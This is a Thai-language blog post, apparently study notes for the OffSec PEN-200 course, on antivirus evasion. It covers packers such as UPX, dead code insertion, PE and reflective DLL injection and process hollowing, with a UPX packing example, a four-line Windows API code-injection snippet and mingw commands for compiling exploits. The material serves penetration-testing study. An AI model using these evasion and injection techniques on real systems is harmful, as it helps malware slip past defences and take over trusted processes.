    • เมื่อโปรแกรมทำการเรียกใช้ฟังก์ชัน VirtualAllocEx(), WriteProcessMemory(), และ CreateRemoteThread() ตามลำดับ
    • ซึ่งเงื่อนไขนี้นั้นนับว่าเป็นพฤติกรรมของ Malicious Process Injection ซึ่ง AV จะมองว่าเป็น Threat ทันที
  • ผู้โจมตีหลบหลีกการตรวจจับได้อย่างไร?

    • Polymorphic Malware: เป็นการ Encrypts Payload ไว้และ Decrypts ตัวเอง(Payload)เมื่อเปิดการทำงาน
    • Code Injection: ทำการ Inject หรือแนบ Code ที่เป็นอันตรายไปใน Process ที่ไม่โดนมองว่าเป็นอันตราย



Bypassing Antivirus Detection

ผู้โจมตีนั้นมีการใช้เทคนิคที่หลากหลายในการหลบหลีกการโดนตรวจจับจาก Antivirus หรือระบบความปลอดภัยอื่นๆ โดยเรานั้นสามารถแบ่งประเภทการหลบหลีกการโดนตรวจจับออกได้เป็น 2 ประเภทหลักๆ คือ:

  • On-Disk Evasion
  • In-Memory Evasion

On-Disk Evasion:

โดยเทคนิค On-Disk Evasion นั้นจะมุ่งเน้นไปที่การแก้ไขแก้ที่ตัว Malware หรือ Threat อื่นๆเพื่อไม่ให้ไปเปิดการทำการงานหรือโดนตรวจเจอโดยการสแกนของ Antivirus

เทคนิคที่พบได้บ่อยในการหลบหลีกแบบ On-Disk Evasion:

เทคนิคคำอธิบาย
Packersทำการบีบอัดและ Encrypt ไฟล์ Executable (อาทิเช่น .exe) เพื่อป้องกันการตรวจจับผ่าน Signature
UPX (Ultimate Packer for Executables)เป็น Packer Open-source ที่ได้รับความนิยมเพื่อปกปิด Malware (ข้อมูลเพิ่มเติม: https://upx.github.io/)
Dead Code Insertionทำการเพิ่ม Junk Code หรือ Code ที่ไม่จำเป็นหรือไม่ได้ยุ่งเกี่ยวกับการทำงานเพื่อให้เมื่อทำการ Hash ไฟล์ออกมาเป็น Signature แล้วจะไม่ Match กับ Signature ภายใน Database
The Enigma Protectorเป็นซอฟต์แวร์ Packer ที่ต้องซื้อหรือ Commercial Packer นั่นเอง
  • ตัวอย่างการ Packing ไฟล์ Executable โดย UPX:
C:\\Users\\pentester\\Desktop>upx.exe sample_program.exe -o sample_program_packed.exe  

Ultimate Packer for eXecutables  
Copyright (C) 1996- 2024       
Markus Oberhumer, Laszlo Molnar & John Reiser  
May 9th 2024  
  
  
Filesize     		Ratio 		Format 		Name  
----------------	---------	---------- 	--------------------------
55948-> 41100		73.46%		win64/pe 	sample_program_packed.exe  
  
Packed 1 file.
  • ซึ่งจะเห็นได้ว่าไฟล์มีขนาดลดลงเหลือเพียง 73.46%จากต้นฉบับ ซึ่งทำให้ยากต่อตรวจจับแบบ Signature-Basedโดย Antivirus นั่นเอง

In-Memory Evasion:

โดยเทคนิค In-Memory Evasion นั้นจะมุ่งเน้นไปที่การ Execute ไฟล์ Threat ใน RAM แทนที่จะเขียนลงไปใน Disk ซึ่งทำให้ตรวจจับได้ยากจาก Antivirus เทคนิคที่พบได้บ่อยในการหลบหลีกแบบ In-Memory Evasion:

เทคนิคคำอธิบาย
PE InjectionInject หรือแนบ Portable Executable(PE) ไปกับ Process อื่นๆ
Reflective DLL Injectionโหลดไฟล์ DLL ไปใน Memory โดยไม่ยุ่งกับ Disk
Process Hollowingทำการแทนที่ Process ที่ถูกมองว่าปลอดภัยด้วย Code ที่เป็นอันตราย
  • Windows API ที่ถูกเรียกใช้เมื่อทำ Process Hollowing:

    • OpenProcess()> ใช้เพื่อ Handle Process ของเป้าหมาย
    • VirtualAllocEx() > จัดเตรียม Memory ภายใน Process ของเป้าหมาย
    • WriteProcessMemory()> เขียน Shellcode ภายใน Memory ที่จัดเตรียมไว้
    • CreateRemoteThread()> สร้าง Thread เพื่อสั่งการทำงาน Payload
  • ตัวอย่างการทำ Process Hollowing ด้วย Windows APIs:

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // Line 1
LPVOID pAddress = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Line 2  
WriteProcessMemory(hProcess, pAddress, payload, payloadSize, NULL); // Line 3  
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pAddress, NULL, 0, NULL); // Line 4

คำอธิบาย:

  • OpenProcess() (Line 1):
    • เป็นการเปิด Handle ใน Process ของเป้าหมายโดยระบุ pid
    • ซึ่งทำให้ผู้โจมตีสามารถแก้ Memory ภายใน Process ได้
    • โดยที่ Flag “PROCESS_ALL_ACCESS” นั้นทำให้ได้สิทธิ์แบบทั่วถึงหรือ Full Permission ในการ Manipulate หรือย้าย Process
  • VirtualAllocEx() (Line 2):
    • จัดเตรียม Memory ใหม่ภายใน Process ของเป้าหมาย
    • “MEM_COMMIT” เป็นการยืนยันว่า Memory ถูกจัดเตรียมและพร้อมใช้งาน
    • “PAGE_EXECUTE_READWRITE” ทำให้ Payload ของผู้โจมตีนั้นทำงานได้(Executable)
  • WriteProcessMemory() (Line 3):
    • ทำการเขียน Payload ที่เป็นอันตรายทับไปยัง Memory ที่จัดเตรียมไว้
  • CreateRemoteThread() (Line 4):
    • สร้าง Thread ใหม่ภายใน Process ของเป้าหมาย
    • โดยที่ Thread จะค่อยเป็นตัวสั่งการทำงานของ Payload ซึ่งทำให้ Process ที่ไม่โดนมองว่าอันตรายเป็นที่ Run Code ที่เป็นอันตรายของผู้โจมตี



Wrapping Up

และตอนนี้ผมคิดว่านี่เป็นเวลาและเนื้อหาอันเหมาะสมที่จะจบ Part นี้ของเรา ซึ่งใน Part นี้ก็ได้ครอบคลุมในเนื้อหาเชิงเทคนิคหลายๆอย่าง โดยที่ประกอบไปด้วย Fixing Exploit ทั้งในรูปแบบของ Fixing Memory Corruption Exploit และ Fixing Web Exploit และ Antivirus Evasion โดยครอบคลุมไปถึงขั้นตอน องค์ประกอบ วิธีการ และประเภทของสิ่งต่างๆภายในบท

ถ้าคุณผู้อ่านท่านใดที่อ่านมาถึงจุดนี้หรือไม่ถึงก็ตาม ตัวผมนั้นก็ขอขอบคุณเป็นอย่างยิ่งและก็หวังเป็นอย่างมากว่าคุณผู้อ่านจะได้พบกับสิ่งที่ตัวเองตามหาไม่มากก็น้อยใน blog หรือบทความนี้และต่อๆไป

และเช่นเดิม ใน blog หน้าจะเป็นเนื้อหาในบทต่อๆไปที่เราจะต้องเจอในคอร์ส Offsec Pen-200. Stay Tuned, Stay Safe, Try Harder!, until next time สวัสดีครับ

สำหรับผู้ที่สนใจ Cheatsheet

สามารถดูต่อด้านล่างได้เลยครับผม 🙂🙏

(แต่เนื่องด้วยเนื้อหาจาก Part นี้นั้นมี Command หรือคำสั่งค่อนข้างน้อยหรือเรียกว่าไม่มีเลยก็ว่าได้ ผมจึงทำการแนบเป็น Source เล็กน้อยเพิ่มเติมมาให้นะครับผม)




Command Cheatsheet with Additional Description

CC_Fixing Exploit(การแก้ Exploit)

  • Install the Compiler:
kali@kali:~$ sudo apt install mingw-w64
  • Compile:
    • 32-bit Windows Binary Compatible:
kali@kali:~$ i686-w64-mingw32-gcc-o exploit.exe exploit.c -lws2_32
  • 64-bit Windows Binary Compatible:
kali@kali:~$ x86_64-w64-mingw32-gcc-o exploit.exe exploit.c -lws2_32

CC_Antivirus Evasion(การหลบหลีกโปรแกรม Antivirus)

อย่างที่คุณผู้อ่านน่าจะทราบกันดีแล้วจากเนื้อหาในบทนี้แล้วว่า เราสามารถตรวจสอบไฟล์ด้วย VirusTotal ได้ซึ่งเรายังมีเครื่องมือที่ใช้ในการวิเคราะห์ไฟล์ได้อีกอย่างคือ https://antiscan.me/

ก็จบลงไปจริงๆแล้วครับสำหรับ blog นี้ ตัวผมหวังเป็นอย่างยิ่งว่าคุณผู้อ่านทุกท่านจะได้ประโยชน์กลับไปไม่มากก็น้อย แล้วพบกันใหม่ใน blog หน้า See you soon ครับผม สวัสดีครับ 🙂🙏




อ่าน Part 1 : Introduction

อ่าน Part 2 : Information Gathering

อ่าน Part 3 : Vulnerability Scanning & Basic Web Attacks

อ่าน Part 4 : SQLi & Windows Client-Side Attacks

อ่าน Part 5 : Phishing & Public Exploit